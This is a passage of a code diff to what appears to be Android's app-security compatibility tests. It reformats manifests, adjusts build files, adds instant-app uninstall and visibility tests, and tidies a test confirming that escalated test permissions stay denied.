-            android:name=".ExposedProvider"
-            android:authorities="com.android.cts.normalapp.exposed.provider"
-            android:visibleToInstantApps="true"
-            android:exported="true">
+        <provider android:name=".ExposedProvider"
+             android:authorities="com.android.cts.normalapp.exposed.provider"
+             android:visibleToInstantApps="true"
+             android:exported="true">
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.normalapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.normalapp"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index d7f5424..fe2717b 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -16,13 +16,19 @@
 
 package com.android.cts.normalapp;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.hamcrest.CoreMatchers.hasItems;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.hamcrest.CoreMatchers.nullValue;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -30,14 +36,19 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.ChangedPackages;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.database.Cursor;
 import android.net.Uri;
-import android.provider.Settings.Secure;
+import android.os.PatternMatcher;
+import android.provider.Settings;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.util.TestResult;
 
 import org.junit.After;
@@ -46,6 +57,8 @@
 import org.junit.runner.RunWith;
 
 import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.SynchronousQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -68,6 +81,10 @@
     private static final String EXTRA_ACTIVITY_RESULT =
             "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
 
+    private static final String EPHEMERAL_1_PKG = "com.android.cts.ephemeralapp1";
+    private static final String INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD =
+            "installed_instant_app_min_cache_period";
+
     private BroadcastReceiver mReceiver;
     private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
 
@@ -139,7 +156,7 @@
         // query activities; directed package
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
-            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            queryIntent.setPackage(EPHEMERAL_1_PKG);
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
             assertThat(resolveInfo.size(), is(0));
@@ -149,7 +166,7 @@
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
             queryIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralActivity"));
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
@@ -207,7 +224,7 @@
         // query services; directed package
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
-            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            queryIntent.setPackage(EPHEMERAL_1_PKG);
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
             assertThat(resolveInfo.size(), is(0));
@@ -217,7 +234,7 @@
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
             queryIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralService"));
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
@@ -273,7 +290,7 @@
         // query content providers; directed package
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
-            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            queryIntent.setPackage(EPHEMERAL_1_PKG);
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentContentProviders(queryIntent, 0 /*flags*/);
             assertThat(resolveInfo.size(), is(0));
@@ -283,7 +300,7 @@
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
             queryIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralProvider"));
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentContentProviders(queryIntent, 0 /*flags*/);
@@ -377,7 +394,7 @@
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
             final TestResult testResult = getResult();
-            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
+            assertThat(EPHEMERAL_1_PKG, is(testResult.getPackageName()));
             assertThat(ACTION_START_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
         }
 
@@ -386,7 +403,7 @@
         try {
             final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            startEphemeralIntent.setPackage(EPHEMERAL_1_PKG);
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
             final TestResult testResult = getResult();
@@ -398,11 +415,11 @@
         {
             final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
-            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            startEphemeralIntent.setPackage(EPHEMERAL_1_PKG);
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
             final TestResult testResult = getResult();
-            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
+            assertThat(EPHEMERAL_1_PKG, is(testResult.getPackageName()));
             assertThat(ACTION_START_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
         }
 
@@ -411,7 +428,7 @@
             final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             startEphemeralIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralActivity"));
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
@@ -429,7 +446,7 @@
             InstrumentationRegistry.getContext().startActivity(
                     startViewIntent, null /*options*/);
             final TestResult testResult = getResult();
-            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
+            assertThat(EPHEMERAL_1_PKG, is(testResult.getPackageName()));
             assertThat("EphemeralActivity", is(testResult.getComponentName()));
             assertThat(Intent.ACTION_VIEW, is(testResult.getIntent().getAction()));
             assertThat(testResult.getIntent().getCategories(), hasItems(Intent.CATEGORY_BROWSABLE));
@@ -488,6 +505,122 @@
         }
     }
 
+    /** Tests getting changed packages for instant app. */
+    @Test
+    public void testGetChangedPackages() {
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Query changed packages without permission, and we should only get normal apps.
+        final ChangedPackages changedPackages = pm.getChangedPackages(0);
+        assertThat(changedPackages.getPackageNames()).doesNotContain(EPHEMERAL_1_PKG);
+
+        // Query changed packages with permission, and we should be able to get ephemeral apps.
+        runWithShellPermissionIdentity(() -> {
+            final ChangedPackages changesInstantApp = pm.getChangedPackages(0);
+            assertThat(changesInstantApp.getPackageNames()).contains(EPHEMERAL_1_PKG);
+        }, Manifest.permission.ACCESS_INSTANT_APPS);
+    }
+
+    @Test
+    public void uninstall_userInstalledApp_shouldBeUserInitiated() {
+        runWithShellPermissionIdentity(() -> {
+            final boolean userInitiated = uninstallAndWaitForExtraUserInitiated(
+                    InstrumentationRegistry.getContext(), EPHEMERAL_1_PKG);
+
+            assertThat(userInitiated).isTrue();
+        }, Manifest.permission.DELETE_PACKAGES, Manifest.permission.ACCESS_INSTANT_APPS);
+    }
+
+    @Test
+    public void uninstall_pruneInstantApp_shouldNotBeUserInitiated() {
+        runWithShellPermissionIdentity(() -> {
+            final boolean userInitiated = pruneInstantAppAndWaitForExtraUserInitiated(
+                    InstrumentationRegistry.getContext(), EPHEMERAL_1_PKG);
+
+            assertThat(userInitiated).isFalse();
+        }, Manifest.permission.WRITE_SECURE_SETTINGS, Manifest.permission.ACCESS_INSTANT_APPS);
+    }
+
+    /**
+     * Uninstall the package and wait for the package removed intent.
+     *
+     * @return The value of {@link Intent#EXTRA_USER_INITIATED} associated with the intent.
+     */
+    private boolean uninstallAndWaitForExtraUserInitiated(Context context, String packageName) {
+        final Runnable uninstall = () -> {
+            final PackageInstaller packageInstaller = context.getPackageManager()
+                    .getPackageInstaller();
+            packageInstaller.uninstall(packageName, null);
+        };
+
+        final Intent packageRemoved = executeAndWaitForPackageRemoved(
+                context, packageName, uninstall);
+        return packageRemoved.getBooleanExtra(Intent.EXTRA_USER_INITIATED, false);
+    }
+
+    /**
+     * Runs the shell command {@code pm trim-caches} to invoke system to prune instant applications.
+     * Waits for the package removed intent and returns the extra filed.
+     *
+     * @return The value of {@link Intent#EXTRA_USER_INITIATED} associated with the intent.
+     */
+    private boolean pruneInstantAppAndWaitForExtraUserInitiated(Context context,
+            String packageName) {
+        final String defaultPeriod = Settings.Global.getString(context.getContentResolver(),
+                INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD);
+        final Runnable trimCaches = () -> {
+            // Updates installed instant app minimum cache period to zero to ensure that system
+            // could uninstall instant apps when trim-caches is invoked.
+            Settings.Global.putInt(context.getContentResolver(),
+                    INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD, 0);
+            SystemUtil.runShellCommand("pm trim-caches " + Long.MAX_VALUE + " internal");
+        };
+
+        try {
+            final Intent packageRemoved = executeAndWaitForPackageRemoved(
+                    context, packageName, trimCaches);
+            return packageRemoved.getBooleanExtra(Intent.EXTRA_USER_INITIATED, false);
+        } finally {
+            Settings.Global.putString(context.getContentResolver(),
+                    INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD, defaultPeriod);
+        }
+    }
+
+    /**
+     * Executes a command and waits for the package removed intent.
+     *
+     * @return The {@link Intent#ACTION_PACKAGE_REMOVED} associated with the given package name.
+     */
+    private Intent executeAndWaitForPackageRemoved(Context context, String packageName,
+            Runnable command) {
+        final IntentFilter filter = new IntentFilter(Intent.ACTION_PACKAGE_REMOVED);
+        filter.addDataScheme("package");
+        filter.addDataSchemeSpecificPart(packageName, PatternMatcher.PATTERN_LITERAL);
+        final BlockingQueue<Intent> intentQueue = new LinkedBlockingQueue<>();
+        final BroadcastReceiver removedReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                try {
+                    intentQueue.put(intent);
+                } catch (InterruptedException e) {
+                    fail("Cannot add intent to intent blocking queue!");
+                }
+            }
+        };
+        context.registerReceiver(removedReceiver, filter);
+        try {
+            command.run();
+            final Intent intent = intentQueue.poll(60 /* timeout */, TimeUnit.SECONDS);
+            assertNotNull("Timed out to wait for package removed intent", intent);
+            return intent;
+        } catch (InterruptedException e) {
+            fail("Failed to get package removed intent: " + e.getMessage());
+        } finally {
+            context.unregisterReceiver(removedReceiver);
+        }
+        return null;
+    }
+
     private TestResult getResult() {
         final TestResult result;
         try {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
index 976a4a1..51417fd 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsUnexposedApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
index 57fe9ec..416204d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsUserApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
index b44e04a..c2dde3c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
@@ -15,25 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.userapp"
-    android:targetSandboxVersion="2">
+     package="com.android.cts.userapp"
+     android:targetSandboxVersion="2">
 
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".UserActivity"
-            android:directBootAware="true" >
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".UserActivity"
+             android:directBootAware="true"
+             android:exported="true">
             <!-- TEST: when installed as an instant app, normal apps can't query for it -->
             <!-- TEST: when installed as a full app, normal apps can query for it -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.instantappusertest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.instantappusertest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.userapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.userapp"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
index d3766f1..10b8985 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsEphemeralTestsUserAppTest",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
index c3e818d..0bba5ef 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test {
     name: "cts-aia-util",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index 7d866ab..b2360a7 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -50,33 +50,33 @@
                 PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
                         & PermissionInfo.PROTECTION_MASK_BASE));
      }
-     
-     @Test
-     public void testRuntimePermissionsAreNotGranted() throws Exception {
-         // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
-         //                     during runtime but can become one during reboot.
-         Context context = InstrumentationRegistry.getTargetContext();
 
-         // Ensure permission is now dangerous but denied
-         PermissionInfo stealAudio1Permission1 = context.getPackageManager()
-                 .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
-         assertSame("Signature permission can become dangerous after reboot",
-                 PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+    @Test
+    public void testRuntimePermissionsAreNotGranted() throws Exception {
+        // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+        //                     during runtime but can become one during reboot.
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        // Ensure permission is now dangerous but denied
+        PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+        assertSame("Signature permission can become dangerous after reboot",
+                PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
                         & PermissionInfo.PROTECTION_MASK_BASE));
 
-         assertSame("Permission should be denied",
-                 context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
-                 PackageManager.PERMISSION_DENIED);
+        assertSame("Permission should be denied",
+                context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+                PackageManager.PERMISSION_DENIED);
 
-         // Ensure permission is now dangerous but denied
-         PermissionInfo stealAudio1Permission2 = context.getPackageManager()
-                 .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
-         assertSame("Signature permission can become dangerous after reboot",
-                 PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
-                         & PermissionInfo.PROTECTION_MASK_BASE));
+        // Ensure permission is now dangerous but denied
+        PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+        assertSame("Signature permission can become dangerous after reboot",
+                PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
 
-         assertSame("Permission should be denied",
-                 context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
-                 PackageManager.PERMISSION_DENIED);
+        assertSame("Permission should be denied",
+                context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+                PackageManager.PERMISSION_DENIED);
     }
-}
+ }
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
index 974e2ea..3f233b0 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
@@ -12,14 +12,11 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsExternalStorageApp",
     defaults: ["cts_support_defaults"],
-    sdk_version: "29",
+    target_sdk_version: "29",
+    sdk_version: "30",
     static_libs: [
         "androidx.test.rules",
         "CtsExternalStorageTestLib",
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
index 0c9df8e..3140efa 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstantCookieApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
index 5c4573b..33d63d1 100644
--- a/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp2/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstantCookieApp2",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
index 677558a..23a9a02 100644
--- a/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstantUpgradeApp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstantUpgradeApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
index fcd862d..ebc9394 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstrumentationAppDiffCert",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
index ce2dcbd..45ef6f9 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
@@ -14,17 +14,15 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
+TARGET_TEST_SUITES = [
+    "cts",
+    "general-tests",
+]
 
 android_test_helper_app {
     name: "CtsIsolatedSplitApp",
     defaults: ["cts_support_defaults"],
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
+    test_suites: TARGET_TEST_SUITES,
     sdk_version: "current",
     // Feature splits are dependent on this base, so it must be exported.
     export_package_resources: true,
@@ -33,8 +31,30 @@
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.rules",
+        "truth-prebuilt",
     ],
     srcs: ["src/**/*.java"],
     // Generate a locale split.
     package_splits: ["pl"],
+    use_embedded_native_libs: true, // default is true, android:extractNativeLibs="false"
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrue",
+    defaults: ["cts_support_defaults"],
+    test_suites: TARGET_TEST_SUITES,
+    sdk_version: "current",
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    // Make sure our test locale polish is not stripped.
+    aapt_include_all_resources: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Generate a locale split.
+    package_splits: ["pl"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
index 6fab412..521a96b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
@@ -15,32 +15,35 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.isolatedsplitapp"
-    android:isolatedSplits="true"
-    android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp"
+     android:isolatedSplits="true"
+     android:targetSandboxVersion="2">
 
     <application android:label="IsolatedSplitApp">
 
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity" android:theme="@style/Theme_Base"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        
-        <service android:name=".BaseService" android:exported="true" />
-        
-        <receiver android:name=".BaseReceiver">
+
+        <service android:name=".BaseService"
+             android:exported="true"/>
+
+        <receiver android:name=".BaseReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
-        
-        <uses-library android:name="android.test.runner" />
+
+        <uses-library android:name="android.test.runner"/>
 
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.isolatedsplitapp" />
+         android:targetPackage="com.android.cts.isolatedsplitapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
new file mode 100644
index 0000000..cee8c59
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
index 814e038..cc2ea8c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIsolatedSplitAppFeatureA",
     defaults: ["cts_support_defaults"],
@@ -31,6 +27,7 @@
     // Make sure our test locale polish is not stripped.
     aapt_include_all_resources: true,
     srcs: ["**/*.java"],
+    resource_dirs: ["res"],
     // Generate a locale split.
     package_splits: ["pl"],
     libs: ["CtsIsolatedSplitApp"],
@@ -43,3 +40,31 @@
         "--package-id 0x80",
     ],
 }
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppFeatureADiffRev",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    // Feature splits are dependent on this split, so it must be exported.
+    export_package_resources: true,
+    // Make sure our test locale polish is not stripped.
+    aapt_include_all_resources: true,
+    srcs: ["**/*.java"],
+    resource_dirs: ["res_diffrev"],
+    // Generate a locale split.
+    package_splits: ["pl"],
+    libs: ["CtsIsolatedSplitApp"],
+    // Although feature splits use unique resource package names, they must all
+    // have the same manifest package name to be considered one app.
+    aaptflags: [
+        "--rename-manifest-package com.android.cts.isolatedsplitapp",
+        // Assign a unique package ID to this feature split. Since these are
+        // isolated splits, it must only be unique across a dependency chain.
+        "--package-id 0x80",
+        "--revision-code 10"
+    ],
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d9ca271..e7c2016 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,20 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp.feature_a"
-        featureSplit="feature_a"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp.feature_a"
+     featureSplit="feature_a"
+     android:targetSandboxVersion="2">
 
     <application>
-        <activity android:name=".FeatureAActivity">
+        <activity android:name=".FeatureAActivity" android:theme="@style/Theme_Feature_A"
+             android:exported="true">
             <intent-filter>
